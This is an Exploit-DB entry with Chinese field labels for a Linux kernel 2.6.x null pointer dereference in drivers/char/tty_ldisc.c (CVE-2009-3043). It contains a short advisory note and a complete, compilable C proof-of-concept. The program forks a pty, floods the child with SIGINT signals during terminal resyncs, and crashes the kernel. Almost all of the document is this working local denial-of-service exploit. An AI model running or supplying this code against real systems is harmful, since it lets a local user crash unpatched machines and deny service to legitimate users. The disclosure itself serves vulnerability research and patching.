标题: Linux Kernel 2.6.x - 'drivers/char/tty_ldisc.c' Null Pointer Dereference Denial of Service EDB-ID: 33193 CVE: 2009-3043 类型: DOS 平台: LINUX 发布日期: 2009-08-19 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/36191/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected kernel, denying service to legitimate users. Given the nature of this issue, attackers may also be able to execute arbitrary code, but this has not been confirmed.

This issue was introduced in Linux kernel 2.6.26 and fixed in 2.6.31-rc8. 
*/


/* gcc -o KernelTtyTest KernelTtyTest.c -Wall -O2 -lutil */
#define _GNU_SOURCE 1
#include <stdio.h>
#include <pty.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <setjmp.h>
#include <ctype.h>
#define POLL_TIMEOUT (10*1000)  /* in milliseconds */
#define LASTBUFSZ  10000
#define CMDBUFSZ 10000
#define SIGINT_LONGJMP 0
#define SIGINT_VAR 1
static void putstr(char *str, FILE *out)
{
 int c;
 for (c = *str++; c; c = *str++) {
  if (iscntrl(c)) {
   putc('\\', out);
   switch(c) {
   case '\n':  putc('n', out); break;
   case '\r':  putc('r', out); break;
   default: printf("%03o", c); break;
   }
  } else {
   putc(c, out);
  }
 }
}
static void print_lastbytes(char *lastbytes, size_t totalbytes, FILE *out)
{
 char *start = lastbytes;
 if (totalbytes < LASTBUFSZ)
  start = &lastbytes[LASTBUFSZ - totalbytes];
 fprintf(out, "lastbytes: '");
 putstr(start, out);
 fprintf(out, "'");
}
static void expect(int masterfd, char *str, size_t len)
{
 char lastbytes[LASTBUFSZ + 1];
 size_t totalbytes = 0;
 memset(lastbytes, sizeof(lastbytes), 0);

 for (;;) {
    char buf[1];
  ssize_t bytes;
  int ret;
  struct pollfd fds = {
   .fd = masterfd,
   .events = POLLIN | POLLERR | POLLHUP,
   .revents = 0,
  };
  ret = poll(&fds, 1, POLL_TIMEOUT);
  if (ret == 0) {
   fprintf(stderr, "Timeout while waiting for '");
   putstr(str, stderr);
   fprintf(stderr, "' ");
   print_lastbytes(lastbytes, totalbytes, stderr);
   fprintf(stderr,"\n");
   exit(5);
  }
  else if (ret < 0) {
   fprintf(stderr, "poll failed: %s\n", strerror(errno));
   exit(4);
  }
  bytes = read(masterfd, buf, 1);
  if (bytes == 1) {
   totalbytes++;
   memmove(lastbytes, lastbytes +1, LASTBUFSZ);
   lastbytes[LASTBUFSZ - 1] = buf[0];
   lastbytes[LASTBUFSZ] = '\0';
   if (memcmp(&lastbytes[LASTBUFSZ - len], str, len) == 0)
    return;
  }
  else if (bytes < 0) {
   fprintf(stderr, "read failed: %s\n",
    strerror(errno));
   print_lastbytes(lastbytes, totalbytes, stderr);
   fprintf(stderr,"\n");
   abort();
   exit(3);
  }
 }
}
static void resync(int masterfd)
{
 static unsigned count;
 char cookie[100];
 char cmd[1000];
 char reply[1000];
 ssize_t written, bytes;
 snprintf(cookie, sizeof(cookie), "_%u_", ++count);
 bytes = snprintf(cmd, sizeof(cmd), "echo %s\n", cookie);
 written = 0;
 while (bytes) {
  ssize_t sent;
  sent = write(masterfd, cmd + written, bytes);
  if (sent >= 0) {
   written += sent;
   bytes -= sent;
  } else if ((errno != EAGAIN) && (errno != EINTR)) {
   fprintf(stderr, "Write to child failed: %s\n", strerror(errno));
   exit(2);  
  }
 }
 snprintf(reply, sizeof(reply), "\n%s", cookie);
 expect(masterfd, reply, strlen(reply));
}
#if SIGINT_VAR
static volatile sig_atomic_t saw_sigint;
#endif

static void process_cmd(void)
{
 char cmdbuf[CMDBUFSZ];
 size_t cmdlen;
 char buf[1];
 cmdlen = 0;
 for (;;) {
  ssize_t bytes;
#if SIGINT_VAR
  if (saw_sigint) {
   saw_sigint = 0;
   printf("^C\n");
   fflush(stdout);
   return;
  }
#endif
  bytes = read(STDIN_FILENO, buf, 1);
  if (bytes == 1) {
   cmdbuf[cmdlen] = '\0';
   putchar(buf[0]);
   fflush(stdout);
   if (buf[0] == '\n') {
    if (cmdlen == 0) {
     printf("> ");
     fflush(stdout);
    }
    else if (memcmp("echo ", cmdbuf, 5) == 0) {
       printf("%s\n", cmdbuf + 5);
     fflush(stdout);
     return;
    } else {
     fprintf(stdout, "unknown cmd: '");
     putstr(cmdbuf, stdout);
     printf("'\n");
     fflush(stdout);
     return;
    }
   }
   cmdlen += 1;
   if (cmdlen >= CMDBUFSZ) {
    fprintf(stderr, "command too long!\n");
    _exit(3);
   }
   cmdbuf[cmdlen - 1] = buf[0];
   cmdbuf[cmdlen] = '\0';
  }
  if (bytes == 0) {
   /* EOF terminate */
   _exit(0);
  }
  if (bytes < 0) {
   fprintf(stderr, "%s read failed: %s\n",
    __func__, strerror(errno));
   _exit(4);
  }
 }
}
#if SIGINT_LONGJMP
static sigjmp_buf sigint_dest;
#endif
static void sigint_handler(int signum)
{
#if SIGINT_LONGJMP
 siglongjmp(sigint_dest, 1);
#endif
#if SIGINT_VAR
 saw_sigint = 1;
#endif
}
static void process_cmds(void)
{
 sigset_t signal_set;
#if 1
 struct sigaction act;
#endif
 sigemptyset( &signal_set);
 sigaddset( &signal_set, SIGINT);

 /* Block sigint until I reinstall the handler */
 sigprocmask(SIG_BLOCK, &signal_set, NULL);
#if 0
 signal(SIGINT, sigint_handler);
#else
 memset(&act, sizeof(act), 0);
 act.sa_handler = &sigint_handler;
 act.sa_flags = SA_NODEFER;
 sigaction(SIGINT, &act, NULL);
#endif
#if SIGINT_LONGJMP
 if (sigsetjmp(sigint_dest, 1)) {
  printf("^C\n");
  fflush(stdout);
 }
#endif
 sigprocmask(SIG_UNBLOCK, &signal_set, NULL);
 for (;;)
  process_cmd();
}
int main(int argc, char *argv[], char *environ[])
{
 pid_t pid;
 int masterfd;
 struct winsize terminal_size;
 int i;
 terminal_size.ws_row = 80;
 terminal_size.ws_col = 25;
 terminal_size.ws_xpixel = 0;
 terminal_size.ws_ypixel = 0;

 pid = forkpty(&masterfd, NULL, NULL, &terminal_size);
 if (pid == 0) { /* child */
  char *args[] = {  "/bin/sh",  NULL };
  char *env[] = { NULL };
#if 0
  execve("/bin/bash", args, env);
#endif
#if 1
  process_cmds();
#endif
  _exit(1);
 }
 resync(masterfd);
#if 1
 for (i = 0; i < 10; i++) {
  usleep(100);
  kill(pid, SIGINT);
 }
#endif
#if 0
 usleep(1000);
#endif
 resync(masterfd);
 return 0;
} URL: https://www.exploit-db.com/exploits/33193